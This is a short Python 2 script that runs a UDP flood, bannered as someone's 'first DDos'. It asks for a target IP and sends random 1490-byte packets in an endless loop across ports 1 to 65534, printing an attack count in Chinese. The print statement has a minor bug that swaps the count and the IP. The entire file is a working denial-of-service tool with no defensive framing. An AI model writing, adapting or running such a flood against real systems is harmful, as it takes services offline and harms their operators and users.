# -*- coding:utf-8 -*- 
 
import sys
import os
import time
import socket
import random
 
#
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
 
#
os.system("clear")
os.system("figlet MY First DDos")
 
#
ip = raw_input("IP Target : ")
port = 1
 
#
time.sleep(3)
sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     port = port + 1
     print "对 %s 攻击 %s 次 ， port:%s"%(sent,ip,port)
     if port == 65534:
       port = 1